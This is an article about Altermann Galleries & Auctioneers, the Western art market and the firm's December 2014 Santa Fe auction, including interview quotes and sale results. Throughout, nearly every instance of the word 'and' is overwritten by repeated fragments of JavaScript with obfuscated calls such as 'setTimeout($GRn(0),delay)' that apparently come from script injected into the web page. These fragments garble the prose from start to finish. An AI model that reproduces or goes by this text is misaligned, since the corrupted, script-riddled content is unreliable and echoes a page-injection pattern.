By: Laura Beach

SANTA FE, N.M.  — Anyone who has picked up a copy of Western Art Collector magazine will know that there is a thriving market for paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sculptures, historic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary, evoking the spirit of the Old West. Large, vigorous andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and unfamiliar to some who live east of the Continental Divide, this market confirms what we should have guessed: regional styles andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and tastes are very much alive.

But while styles may regional, the art-buying public is not, says Tony Altermann of Altermann Galleries & Auctioneers. A major player in the Western art field, the company started in Dallas in 1978 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, in addition to Texas, today has offices in the moneyed enclaves of Scottsdale, Santa Fe andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and San Diego. Altermann Galleries caters to collectors worldwide who call the West home, even if seasonally or only in spirit.

Heading the firm are Dallas-born businessmen Richard Altermann andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his father, Tony, who early in his art career partnered with former Texas governor andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Secretary of the Navy John Connally. With Richard dashing between appointments on the eve of Altermann’s December 6–7 cataloged sale in Santa Fe, Tony graciously took the time to explain the intricacies of the Western art market andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and lead his visitor on a tour of the company’s spacious quarters on Camino del Monte Sol, in the heart of Santa Fe’s historic arts district.

“The artists we handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andle fall into several groups. The first group includes late Nineteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early Twentieth Century artists associated with the Taos andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Santa Fe colonies, artists such as Sharp, Couse, Dunton, Berninghaus, Blumenschein, Phillips, Fechin, Gaspard, Higgins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Ufer. These artists account for a lot of the market. They were good, well-trained painters with strong connections back East andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and they were prolific, which matters. In landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape, Moran andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Bierstadt are key. They gave Easterners the look of this pristine, unexplored landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and out here. The other great artists of the American West were, of course, Charlie Russell andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Frederic Remington.

“Coming after this first group were Charlie Dye, Frank McCarthy, Howard Terpning, Frank Tenney Johnson, Charles Schreyvogel, Cyrus Dallin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and James Earl Fraser. What some of those artists have in common, along with Bob Lougheed, Tom Lovell andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and John Clymer, is that they principally began in the East as illustrators. They did extremely well, but when the publications they worked for began to fade they were midcareer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and needed to go somewhere else with their talents. Those who headed west had impeccable timing. The West was coming into its own economically. Wherever the economic heart of a civilization is, its culture emanates. North Texas, including the Dallas/Fort Worth area, is now the fourth largest population market in the United States. Houston is the fourth largest city. Having said that, the Western art market is broader based than ever before.

“A more recent generation of artists — some with experience as illustrators or animators — includes Morgan Weistling andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Martin Grelle. Grelle, who was born in 1954, brings more than his mentors Melvin Warren andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Jim Boren ever did. Grelle’s paintings have surpassed $500,000 at auction. Finally, you have artists like Mian Situ andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Liang, who trained in China but emigrated to the West, where their talent for representational painting, which most Western art is, has been recognized.

“The Western art market is unique, or close to it. It has been able to promote itself quite effectively. It has its own museums — in Georgia, New York andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Indiana, as well as in Arizona, Texas, Oklahoma andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and California. The trustees of these museums tend to collect Western art, which helps raise the profile. So the art has a permanent place in these communities. That holds its place in the culture.”

The December 6–7 auction was Altermann’s third of 2014. On a December 5 walk-through, Tony pointed out some of his favorite pieces. There were classic Western views by Frank McCarthy andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Buck Dunton, wildlife scenes, plus a selection of non-Western andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European subjects, among them Paris street scenes by Edouard Cortes.

“Everyone loves a Cortes. I think there are as many of them in Texas as anywhere. People like them over a sideboard. Many of our clients are interested in more than Western art,” Tony said.

The sale featured a magnificent bronze by Charles Russell, the auction’s top lot at $264,000, as well as later sculptures by the popular artists Harry Jackson andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and John Coleman. Jackson, said Tony, “brings the sophistication of abstraction to representational work,” while Coleman “is the best sculptor working today.” Years ago, anticipating Coleman’s ascent, Altermann Galleries bought as many pieces as it could find.

Among contemporary artists of interest were Glenna Goodacre, G. Harvey andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and William Acheff. “I’ve sold hundreds of Goodacres, Harveys andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Acheffs,” Tony said.

Highlights of the sale are illustrated on these pages. Estimated at $250/350,000, the catalog’s cover lot, the handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome “Bronc’ Twister,” a pivotal work by William Herbert Buck Dunton (1878–1936), painted in the early 1920s when the artist was transitioning from illustration art to easel painting, failed to meet its reserve. The work by the Taos artist is not likely to remain unsold for long. Altermann entertains offers on passed lots, posting subsequent sales with prices as they are transacted.

“It’s an approach that empowers buyers. Most people who we do business with are educated. They know what pieces are worth,” said Tony. A week after the auction, an additional 65 lots had sold privately andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more sales were on the way.

Altermann organizes three or four auctions a year. Its next event is planned for April 9 in Scottsdale, Ariz. For details on the company’s shows, sales andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and venues, www.altermann.com.